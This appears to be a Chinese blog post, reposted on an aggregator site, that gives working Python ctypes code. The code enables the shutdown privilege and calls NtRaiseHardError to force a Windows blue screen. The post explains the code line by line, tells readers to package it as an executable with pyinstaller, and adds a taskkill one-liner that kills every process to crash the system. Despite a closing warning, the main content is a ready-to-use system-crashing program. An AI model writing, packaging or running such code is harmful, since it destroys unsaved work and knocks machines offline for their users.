当前位置: 首页 > news >正文

【Python蓝屏程序(管理员)】

说明:该程序为临摹(😀)作品,源地址C++蓝屏程序(非管理员)

我试图使用Python调用 NtRaiseHardError API ,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API 是不被允许的,因为它需要提升到系统权限才能触发蓝屏效果,即使在原文,也需要SeShutdownPrivilege才能实现蓝屏效果。

原理:

Windows的"未公开"蓝屏api:NtRaiseHardError
可以在非管理员特权下产生BSOD
调用该API需要调用者有关机权限

代码示例:

需要管理员权限

import ctypes
from ctypes import wintypes# 定义相关的 Windows API 函数和结构体
ntdll = ctypes.WinDLL('ntdll.dll')ULONG_PTR = ctypes.POINTER(ctypes.c_ulong)
BOOLEAN = ctypes.c_ubyteclass UNICODE_STRING(ctypes.Structure):_fields_ = [("Length", wintypes.USHORT),("MaximumLength", wintypes.USHORT),("Buffer", ctypes.POINTER(wintypes.WCHAR)),]class CLIENT_ID(ctypes.Structure):_fields_ = [("UniqueProcess", ctypes.POINTER(wintypes.HANDLE)),("UniqueThread", ctypes.POINTER(wintypes.HANDLE)),]class IO_STATUS_BLOCK(ctypes.Structure):_fields_ = [("Status", wintypes.ULONG),("Information", ULONG_PTR),]# 定义函数原型
RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
RtlAdjustPrivilege.argtypes = [wintypes.ULONG, BOOLEAN, BOOLEAN, ctypes.POINTER(BOOLEAN)]
RtlAdjustPrivilege.restype = wintypes.LONGNtRaiseHardError = ntdll.NtRaiseHardError
NtRaiseHardError.argtypes = [wintypes.LONG, wintypes.ULONG, wintypes.ULONG, ULONG_PTR,wintypes.ULONG, ctypes.POINTER(wintypes.ULONG)
]
NtRaiseHardError.restype = wintypes.LONG# 定义一些常量和变量
STATUS_ASSERTION_FAILURE = 0xC0000420
SE_SHUTDOWN_PRIVILEGE = 19def main():# 获取当前进程句柄current_process = ctypes.windll.kernel32.GetCurrentProcess()current_thread = ctypes.windll.kernel32.GetCurrentThread()# 启用 SE_SHUTDOWN_PRIVILEGE 权限privilege_enabled = BOOLEAN()RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, True, False, ctypes.byref(privilege_enabled))# 调用 NtRaiseHardError 触发 BSODresponse = wintypes.ULONG()NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, None, 6, ctypes.byref(response))if __name__ == '__main__':main()

可以在该文件夹下使用cmd输入pyinstaller -wF .\MoveMouse.py打包然后使用管理员运行

代码解析:

这段代码的目的是试图在 Windows 系统中通过调用特定的 Windows API 来触发蓝屏死机(BSOD)。

以下是对代码各部分的详细解释:

  1. 导入和定义相关类型及库:

    • import ctypes:导入 Python 的 ctypes 库,用于在 Python 中调用 Windows API 函数。
    • 定义了各种数据类型,如 ULONG_PTRBOOLEAN 等,以及结构体 UNICODE_STRINGCLIENT_IDIO_STATUS_BLOCK ,以匹配 Windows API 所需的参数和返回值的数据结构。
  2. 加载 ntdll.dll 库并定义函数原型:

    • ntdll = ctypes.WinDLL('ntdll.dll'):加载 ntdll.dll 动态链接库。
    • RtlAdjustPrivilegeNtRaiseHardError 函数定义了参数类型和返回值类型,以确保在调用时能够正确传递和处理参数。
  3. 定义常量和变量:

    • STATUS_ASSERTION_FAILURE:定义了一个表示错误状态的常量。
    • SE_SHUTDOWN_PRIVILEGE:表示特定的权限常量。
  4. main 函数:

    • 获取当前进程和线程的句柄。
    • 通过 RtlAdjustPrivilege 函数尝试启用 SE_SHUTDOWN_PRIVILEGE 权限。
    • 最后调用 NtRaiseHardError 函数,并传递特定的参数,试图触发蓝屏死机。

需要强调的是,在正常的编程和使用场景中,这样的操作是不被允许和不道德的,可能会导致系统故障、数据丢失和其他严重问题。请不要在实际使用中运行这样的代码。

补充

当然如果已经有了管理员权限,那简单两行代码也能直接蓝屏

import os
os.system("Taskkill /fi \"pid ge 1\" /f")  # Taskkill /fi "pid ge 1" /f 杀死所有进程,管理员权限cmd直接蓝屏

甚至可以直接在管理员cmd输入:

Taskkill /fi "pid ge 1" /f
http://www.lryc.cn/news/420379.html

相关文章:

  • OpenGL ES->GLSurfaceView绘制图形的流程
  • Linux OOM Killer详解
  • 2024rk(案例二)
  • 小红书爆文秘籍:ChatGPT助你从0到1创造热门内容!
  • django快速实现个人博客(附源码)
  • K8s部署篇之手动部署二进制高可用集群架构
  • 【Unity/XLua】xlua自带教程示例分析(6)—— lua协程
  • CV目标检测概述
  • 如何在notebook中运行nodejs
  • Mybatis学习-day19
  • IDEA构建SpringBoot多模块项目
  • 【前端】NodeJS:nvm
  • Docker网络模式及通信
  • 类模板实现实现Qt click/hover自定义操作
  • Arco Design:引领未来的Vue 3创意先锋,一键开启高效与美感并重的Web开发之旅!
  • 【MySQL】Linux下用C/C++链接MySQL数据库
  • Python金融量化专栏简介
  • 出行365:依托分布式数据库,让出行无忧 | OceanBase案例
  • 【C语言】位段详解
  • LVS集群实验
  • 在 Spring Boot 中使用适配器模式实现支付网关的统一接口
  • 【书生·浦语大模型实战营】第三期 入门岛作业
  • Redis的String类型常用命令总结
  • 河南萌新联赛2024第(四)场:河南理工大学
  • Linux中临时使用账号提权进行业务操作
  • lwip 3. 网线拔掉后 lwip_recvfrom不能返回
  • Linux环境安装Docker Engine
  • 大厂面试题分享
  • FPGA面试问题整理
  • 3Done学习笔记